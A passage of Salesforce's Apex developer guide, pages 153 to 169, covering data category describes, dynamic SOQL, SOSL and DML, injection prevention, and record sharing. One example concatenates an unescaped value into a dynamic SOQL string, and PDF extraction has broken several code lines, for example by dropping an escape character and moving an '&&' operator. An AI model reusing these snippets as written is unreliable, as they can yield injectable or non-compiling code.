  • 177. Working with Data in Apex Accessing All Data Categories Associated with an sObject //Recursively get all the categories List<DataCategory> allCategories = getAllCategories(toplevelCategories); for(DataCategory category : allCategories) { //Get the name of the category category.getName(); //Get the label of the category category.getLabel(); //Get the list of sub categories in the category DataCategory [] childCategories = category.getChildCategories(); } } } catch (Exception e){ } return describeCategoryStructureResult; } private static DataCategory[] getAllCategories(DataCategory [] categories){ if(categories.isEmpty()){ return new DataCategory[]{}; } else { DataCategory [] categoriesClone = categories.clone(); DataCategory category = categoriesClone[0]; DataCategory[] allCategories = new DataCategory[]{category}; categoriesClone.remove(0); categoriesClone.addAll(category.getChildCategories()); allCategories.addAll(getAllCategories(categoriesClone)); return allCategories; } } } Testing Access to All Data Categories Associated with an sObject The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned category group and associated objects are correct. @isTest private class DescribeDataCategoryGroupSampleTest { public static testMethod void describeDataCategoryGroupSampleTest(){ List<DescribeDataCategoryGroupResult>describeResult = DescribeDataCategoryGroupSample.describeDataCategoryGroupSample(); //Assuming that you have KnowledgeArticleVersion and Questions //associated with only one category group 'Regions'. System.assert(describeResult.size() == 2, 'The results should only contain two results: ' + describeResult.size()); for(DescribeDataCategoryGroupResult result : describeResult) { //Storing the results String name = result.getName(); String label = result.getLabel(); String description = result.getDescription(); String objectNames = result.getSobject(); //asserting the values to make sure System.assert(name == 'Regions', 'Incorrect name was returned: ' + name); System.assert(label == 'Regions of the World', 'Incorrect label was returned: ' + label); System.assert(description == 'This is the category group for all the regions', 'Incorrect description was returned: ' + description); System.assert(objectNames.contains('KnowledgeArticleVersion') || objectNames.contains('Question'), 153
  • 178. Working with Data in Apex Accessing All Data Categories Associated with an sObject 'Incorrect sObject was returned: ' + objectNames); } } } This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group, categories and associated objects are correct. @isTest private class DescribeDataCategoryGroupStructuresTest { public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){ List<Schema.DescribeDataCategoryGroupStructureResult> describeResult = DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults(); System.assert(describeResult.size() == 2, 'The results should only contain 2 results: ' + describeResult.size()); //Creating category info CategoryInfo world = new CategoryInfo('World', 'World'); CategoryInfo asia = new CategoryInfo('Asia', 'Asia'); CategoryInfo northAmerica = new CategoryInfo('NorthAmerica', 'North America'); CategoryInfo southAmerica = new CategoryInfo('SouthAmerica', 'South America'); CategoryInfo europe = new CategoryInfo('Europe', 'Europe'); List<CategoryInfo> info = new CategoryInfo[] { asia, northAmerica, southAmerica, europe }; for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) { String name = result.getName(); String label = result.getLabel(); String description = result.getDescription(); String objectNames = result.getSobject(); //asserting the values to make sure System.assert(name == 'Regions', 'Incorrect name was returned: ' + name); System.assert(label == 'Regions of the World', 'Incorrect label was returned: ' + label); System.assert(description == 'This is the category group for all the regions', 'Incorrect description was returned: ' + description); System.assert(objectNames.contains('KnowledgeArticleVersion') || objectNames.contains('Question'), 'Incorrect sObject was returned: ' + objectNames); DataCategory [] topLevelCategories = result.getTopCategories(); System.assert(topLevelCategories.size() == 1, 'Incorrect number of top level categories returned: ' + topLevelCategories.size()); System.assert(topLevelCategories[0].getLabel() == world.getLabel() && topLevelCategories[0].getName() == world.getName()); //checking if the correct children are returned DataCategory [] children = topLevelCategories[0].getChildCategories(); System.assert(children.size() == 4, 'Incorrect number of children returned: ' + children.size()); for(Integer i=0; i < children.size(); i++){ System.assert(children[i].getLabel() == info[i].getLabel() && children[i].getName() == info[i].getName()); } } } private class CategoryInfo { private final String name; 154
  • 179. Working with Data in Apex Dynamic SOQL private final String label; private CategoryInfo(String n, String l){ this.name = n; this.label = l; } public String getName(){ return this.name; } public String getLabel(){ return this.label; } } } Dynamic SOQL Dynamic SOQL refers to the creation of a SOQL string at runtime with Apex code. Dynamic SOQL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names. To create a dynamic SOQL query at runtime, use the database query method, in one of the following ways: • Return a single sObject when the query returns a single record: sObject S = Database.query(string_limit_1); • Return a list of sObjects when the query returns more than a single record: List<sObject> L = Database.query(string); The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOQL queries are processed. Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data type. At runtime, the system validates that the type of the query matches the declared type of the variable. If the query does not return the correct sObject type, a runtime error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject. Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Understanding Execution Governors and Limits on page 236. For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and SOSL Reference. Dynamic SOQL Considerations You can use simple bind variables in dynamic SOQL query strings. The following is allowed: String myTestString = 'TestName'; List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name = :myTestString'); 155
  • 180. Working with Data in Apex Dynamic SOSL However, unlike inline SOQL, dynamic SOQL can’t use bind variable fields in the query string. The following example isn’t supported and results in a Variable does not exist error: MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField'); List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = :myVariable.field1__c'); You can instead resolve the variable field into a string and use the string in your dynamic SOQL query: String resolvedField1 = myVariable.field1__c; List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = ' + resolvedField1); SOQL Injection SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOQL statement and you do not handle the input properly. To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character () to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands. Dynamic SOSL Dynamic SOSL refers to the creation of a SOSL string at runtime with Apex code. Dynamic SOSL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names. To create a dynamic SOSL query at runtime, use the search query method. For example: List<List <sObject>> myQuery = search.query(SOSL_search_string); The following example exercises a simple SOSL query string. String searchquery='FIND'Edge*'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead'; List<List<SObject>>searchList=search.query(searchquery); Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the results from Account are first, then Contact, then Lead. The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOSL queries are processed. Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Understanding Execution Governors and Limits on page 236. For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL Reference. SOSL Injection SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOSL statement and you do not handle the input properly. 156
  • 181. Working with Data in Apex Dynamic DML To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character () to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands. Dynamic DML In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert them into the database using DML. To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a concrete sObject type (such as Account). For example: // Get a new account Account A = new Account(); // Get the token for the account Schema.sObjectType tokenA = A.getSObjectType(); // The following produces an error because the token is a generic sObject, not an Account // Account B = tokenA.newSObject(); // The following works because the token is cast back into an Account Account B = (Account)tokenA.newSObject(); Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and Casting on page 86. You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For example: SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType(). newSObject([SELECT Id FROM Account LIMIT 1][0].Id); See SObjectType Class. Dynamic sObject Creation Example This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation of an account. public class DynamicSObjectCreation { public static sObject createObject(String typeName) { Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName); if (targetType == null) { // throw an exception } // Instantiate an sObject with the type passed in as an argument // at run time. return targetType.newSObject(); } } @isTest private class DynamicSObjectCreationTest { static testmethod void testObjectCreation() { String typeName = 'Account'; String acctName = 'Acme'; // Create a new sObject by passing the sObject type as an argument. Account a = (Account)DynamicSObjectCreation.createObject(typeName); System.assertEquals(typeName, String.valueOf(a.getSobjectType())); 157
  • 182. Working with Data in Apex Dynamic DML // Set the account name and insert the account. a.Name = acctName; insert a; // Verify the new sObject got inserted. Account[] b = [SELECT Name from Account WHERE Name = :acctName]; system.assert(b.size() > 0); } } Setting and Retrieving Field Values Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a String, or the field's token. In the following example, the API name of the field AccountNumber is used: SObject s = [SELECT AccountNumber FROM Account LIMIT 1]; Object o = s.get('AccountNumber'); s.put('AccountNumber', 'abc'); The following example uses the AccountNumber field's token instead: Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.AccountNumber; Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1'); s.put(f.getsObjectField(), '12345'); The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any sObject. Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. Setting and Retrieving Foreign Keys Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a foreign key, use the get or put methods. To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these methods must be used with the sObject data type, not Object. For example: SObject c = Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1'); SObject a = c.getSObject('Account'); There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always returns a parent object with a populated ID. If you have an ID, use it with the child object. For example, suppose that custom object C1 has a foreign key c2__c that links to a child custom object C2. You want to create a C1 object and have it associated with a C2 record named 'xxx' (assigned to the value c2__r). You do not need the ID of the 'xxx' record, as it is populated through the relationship of parent to child. For example: insert new C1__c(name = 'x', c2__r = new C2__c(name = 'xxx')); If you had assigned a value to the ID for c2__r, it would be ignored. If you do have the ID, assign it to the object (c2__c), not the record. 158
  • 183. Working with Data in Apex Apex Security and Sharing You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a parent-to-child relationship using dynamic Apex: String queryString = 'SELECT Id, Name, ' + '(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account'; SObject[] queryParentObject = Database.query(queryString); for (SObject parentRecord : queryParentObject){ Object ParentFieldValue = parentRecord.get('Name'); // Prevent a null relationship from being accessed SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts'); if (childRecordsFromParent != null) { for (SObject childRecord : childRecordsFromParent){ Object ChildFieldValue1 = childRecord.get('FirstName'); Object ChildFieldValue2 = childRecord.get('LastName'); System.debug('Account Name: ' + ParentFieldValue + '. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2); } } } Apex Security and Sharing This chapter covers security and sharing for Apex. You’ll learn about the security of running code and how to add user permissions for Apex classes. Also, you’ll learn how sharing rules can be enforced. Furthermore, Apex managed sharing is described. Finally, security tips are provided. Enforcing Sharing Rules Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into account during code execution. Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 183. Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They should be particularly careful with Web services, which can be restricted by permissions, but execute in system context once they are initiated. Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that apply to the current user. (For more information on sharing rules, see the Salesforce.com online help.) Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user's permissions and field-level security. Apex code always has access to all fields and objects in an organization, ensuring that code won’t fail to run because of hidden fields or objects for a user. This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The CWithout class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner classes, in which code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing setting. public with sharing class CWith { // All code in this class operates with enforced sharing rules. 159
  • 184. Working with Data in Apex Enforcing Sharing Rules Account a = [SELECT . . . ]; public static void m() { . . . } static { . . . } { . . . } public void c() { . . . } } public without sharing class CWithout { // All code in this class ignores sharing rules and operates // as if the context user has the Modify All Data permission. Account a = [SELECT . . . ]; . . . public static void m() { . . . // This call into CWith operates with enforced sharing rules // for the context user. When the call finishes, the code execution // returns to without sharing mode. CWith.m(); } public class CInner { // All code in this class executes with the same sharing context // as the code that calls it. // Inner classes are separate from outer classes. . . . // Again, this call into CWith operates with enforced sharing rules // for the context user, regardless of the class that initially called this inner class. // When the call finishes, the code execution returns to the sharing mode that was used to call this inner class. CWith.m(); } public class CInnerWithOut exends CWithout { // All code in this class ignores sharing rules because // this class extends a parent class that ignores sharing rules. } } Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules. Enforcing the current user's sharing rules can impact: • • SOQL and SOSL queries. A query may return fewer rows than it would operating in system context. DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user specifies a foreign key value that exists in the organization, but which the current user does not have access to. 160
  • 185. Working with Data in Apex Enforcing Object and Field Permissions Enforcing Object and Field Permissions Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into account during code execution. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 183. Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your code by explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result methods (of Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if the current user has the necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific DML operation or a query. For example, you can call the isAccessible, isCreateable, or isUpdateable methods of Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively. Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's read, create, or update access for a field. In addition, you can call the isDeletable method provided by Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject. These are some examples of how to call the access control methods. To check the field-level update permission of the contact's email field before updating it: if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) { // Update contact phone number } To check the field-level create permission of the contact's email field before creating a new contact: if (Schema.sObjectType.Contact.fields.Email.isCreateable()) { // Create new contact } To check the field-level read permission of the contact's email field before querying for this field: if (Schema.sObjectType.Contact.fields.Email.isAccessible()) { Contact c = [SELECT Email FROM Contact WHERE Id= :Id]; } To check the object-level permission for the contact before deleting the contact. if (Schema.sObjectType.Contact.isDeletable()) { // Delete contact } Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the with sharing or without sharing Keywords. If you call the sObject describe result and field describe result access control methods, the verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes, the access level granted by a sharing rule could conflict with an object-level or field-level permission. 161
  • 186. Working with Data in Apex Class Security Class Security You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can only set security on Apex classes, not on triggers. To set Apex class security from the class list page: 1. From Setup, click Develop > Apex Classes. 2. Next to the name of the class that you want to restrict, click Security. 3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 4. Click Save. To set Apex class security from the class detail page: 1. 2. 3. 4. From Setup, click Develop > Apex Classes. Click the name of the class that you want to restrict. Click Security. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 5. Click Save. To set Apex class security from a permission set: 1. 2. 3. 4. 5. From Setup, click Manage Users > Permission Sets. Select a permission set. Click Apex Class Access. Click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove. 6. Click Save. To set Apex class security from a profile: 1. 2. 3. 4. From Setup, click Manage Users > Profiles. Select a profile. In the Apex Class Access page or related list, click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove. 5. Click Save. Understanding Apex Managed Sharing Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access can be granted using the Salesforce user interface and Force.com, or programmatically using Apex. This section provides an overview of sharing using Apex: • • • Understanding Sharing Sharing a Record Using Apex Recalculating Apex Managed Sharing For more information on sharing, see “Setting Your Organization-Wide Sharing Defaults” in the Salesforce online help. 162
  • 187. Working with Data in Apex Understanding Apex Managed Sharing Understanding Sharing Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant additional access programmatically with Apex. Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms. Types of Sharing Salesforce has the following types of sharing: Force.com Managed Sharing Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and sharing rules: Record Ownership Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically granted Full Access, allowing them to view, edit, transfer, share, and delete the record. Role Hierarchy The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in the Salesforce online help. Sharing Rules Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed from Force.com AppExchange. Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing rules. Also, criteria-based sharing cannot be tested using Apex. All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API, or Apex. User Managed Sharing, also known as Manual Sharing User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of users. This is generally done by an end-user, for a single record. Only the record owner and users above the owner in the role hierarchy are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All” object-level permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the object's organization-wide sharing default access level. Apex Managed Sharing Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with “Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes. Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects. 163
  • 188. Working with Data in Apex Understanding Apex Managed Sharing The Sharing Reason Field In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called rowCause in Apex or the Force.com API. Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause value. • Force.com Managed Sharing Reason Field Value Account Sharing ImplicitChild Associated record owner or sharing ImplicitParent Owner Owner Opportunity Team Team Sharing Rule Rule Territory Assignment Rule • rowCause Value (Used in Apex or the Force.com API) TerritoryRule User Managed Sharing Reason Field Value Manual Sharing Manual Territory Manual • rowCause Value (Used in Apex or the Force.com API) TerritoryManual Apex Managed Sharing Reason Field Value rowCause Value (Used in Apex or the Force.com API) Defined by developer Defined by developer The displayed reason for Apex managed sharing is defined by the developer. Access Levels When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following access levels: Access Level API Name Description Private None Only the record owner and users above the record owner in the role hierarchy can view and edit the record. This access level only applies to the AccountShare object. Read Only Read The specified user or group can view the record only. Read/Write Edit The specified user or group can view and edit the record. 164
  • 189. Working with Data in Apex Understanding Apex Managed Sharing Access Level API Name Description Full Access All The specified user or group can view, edit, transfer, share, and delete the record. Note: This access level can only be granted with Force.com managed sharing. Sharing a Record Using Apex To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact object, and so on. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the custom object: MyCustomObject__Share Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record’s access is determined by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object Security” in the Salesforce online help. A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as the “View All” and “Modify All” permissions for the given object, “View All Data,” and “Modify All Data” are not tracked with this object. Every share object has the following properties: Property Name Description objectNameAccessLevel The level of access that the specified user or group has been granted for a share sObject. The name of the property is AccessLevel appended to the object name. For example, the property name for LeadShare object is LeadShareAccessLevel. Valid values are: • Edit • Read • All Note: The All access level can only be used by Force.com managed sharing. This field must be set to an access level that is higher than the organization’s default access level for the parent object. For more information, see Access Levels on page 164. ParentID The ID of the object. This field cannot be updated. RowCause The reason why the user or group is being granted access. The reason determines the type of sharing, which controls who can alter the sharing record. This field cannot be updated. UserOrGroupId The user or group IDs to which you are granting access. A group can be a public group, role, or territory. This field cannot be updated. 165
  • 190. Working with Data in Apex Understanding Apex Managed Sharing You can share a standard or custom object with users or groups. Apex sharing is not available for Customer Community users. For more information about the types of users and groups you can share an object with, see User and Group in the Object Reference for Salesforce and Force.com. Creating User Managed Sharing Using Apex It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes, the sharing is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a custom object called Job. public class JobSharing { public static boolean manualShareRead(Id recordId, Id userOrGroupId){ // Create new sharing object for the custom object Job. Job__Share jobShr = new Job__Share(); // Set the ID of record being shared. jobShr.ParentId = recordId; // Set the ID of user or group being granted access. jobShr.UserOrGroupId = userOrGroupId; // Set the access level. jobShr.AccessLevel = 'Read'; // Set rowCause to 'manual' for manual sharing. // This line can be omitted as 'manual' is the default value for sharing objects. jobShr.RowCause = Schema.Job__Share.RowCause.Manual; // Insert the sharing record and capture the save result. // The false parameter allows for partial processing if multiple records passed // into the operation. Database.SaveResult sr = Database.insert(jobShr,false); // Process the save results. if(sr.isSuccess()){ // Indicates success return true; } else { // Get first save result error. Database.Error err = sr.getErrors()[0]; // Check if the error is related to trival access level. // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception is acceptable. if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION err.getMessage().contains('AccessLevel')){ // Indicates success. return true; } else{ // Indicates failure. return false; } } } } @isTest private class JobSharingTest { // Test for the manualShareRead method static testMethod void testManualShareRead(){ 166 &&
  • 191. Working with Data in Apex Understanding Apex Managed Sharing // Select users for the test. List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2]; Id User1Id = users[0].Id; Id User2Id = users[1].Id; // Create new job. Job__c j = new Job__c(); j.Name = 'Test Job'; j.OwnerId = user1Id; insert j; // Insert manual share for user who is not record owner. System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true); // Query job sharing records. List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel, RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id]; // Test for only one manual share on job. System.assertEquals(jShrs.size(), 1, 'Set the object's sharing model to Private.'); // Test attributes of manual share. System.assertEquals(jShrs[0].AccessLevel, 'Read'); System.assertEquals(jShrs[0].RowCause, 'Manual'); System.assertEquals(jShrs[0].UserOrGroupId, user2Id); // Test invalid job Id. delete j; // Insert manual share for deleted job id. System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false); } } Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 164. Creating Apex Managed Sharing Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with “Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes. Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of sharing records. They also enable developers to share with the same user or group multiple times using different reasons. Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name: • • The label displays in the Reason column when viewing the sharing for a record in the user interface. This allows users and administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench. The name is used when referencing the reason in the API and Apex. All Apex sharing reason names have the following format: MyReasonName__c Apex sharing reasons can be referenced programmatically as follows: Schema.CustomObject__Share.rowCause.SharingReason__c 167
  • 192. Working with Data in Apex Understanding Apex Managed Sharing For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows: Schema.Job__Share.rowCause.Recruiter__c For more information, see Schema Class on page 1148. To create an Apex sharing reason: 1. 2. 3. 4. From Setup, click Create > Objects. Select the custom object. Click New in the Apex Sharing Reasons related list. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the user interface. The label is also enabled for translation through the Translation Workbench. 5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. Click Save. Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects. Apex Managed Sharing Example For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager access when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. trigger JobApexSharing on Job__c (after insert) { if(trigger.isInsert){ // Create a new list of sharing objects for Job List<Job__Share> jobShrs = new List<Job__Share>(); // Declare variables for recruiting and hiring manager sharing Job__Share recruiterShr; Job__Share hmShr; for(Job__c job : trigger.new){ // Instantiate the sharing objects recruiterShr = new Job__Share(); hmShr = new Job__Share(); // Set the ID of record being shared recruiterShr.ParentId = job.Id; hmShr.ParentId = job.Id; // Set the ID of user or group being granted access recruiterShr.UserOrGroupId = job.Recruiter__c; hmShr.UserOrGroupId = job.Hiring_Manager__c; // Set the access level recruiterShr.AccessLevel = 'edit'; hmShr.AccessLevel = 'read'; // Set the Apex sharing reason for hiring manager and recruiter recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c; hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c; // Add objects to list for insert jobShrs.add(recruiterShr); 168
  • 193. Working with Data in Apex Understanding Apex Managed Sharing jobShrs.add(hmShr); } // Insert sharing records and capture save result // The false parameter allows for partial processing if multiple records are passed // into the operation Database.SaveResult[] lsr = Database.insert(jobShrs,false); // Create counter Integer i=0; // Process the save results for(Database.SaveResult sr : lsr){ if(!sr.isSuccess()){ // Get the first save result error Database.Error err = sr.getErrors()[0]; // Check if the error is related to a trivial access level // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception is // acceptable. if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION && err.getMessage().contains('AccessLevel'))){ // Throw an error when the error is not related to trivial access level. trigger.newMap.get(jobShrs[i].ParentId). addError( 'Unable to grant sharing access due to following exception: ' + err.getMessage()); } } i++; } } } Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples: • • If a manual share access level is set to Read and you insert a new one that’s set to Write, the original share rows are updated to Write, indicating the higher level of access. If users can access an account because they can access its child records (contact, case, opportunity, and so on), and an account sharing rule is created, the row cause of the parent implicit share is replaced by the sharing rule row cause, indicating the higher level of access. Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 164. Recalculating Apex Managed Sharing Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes. The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the object’s sharing model changes from Private to Public Read Only. To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation. You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related list. 169
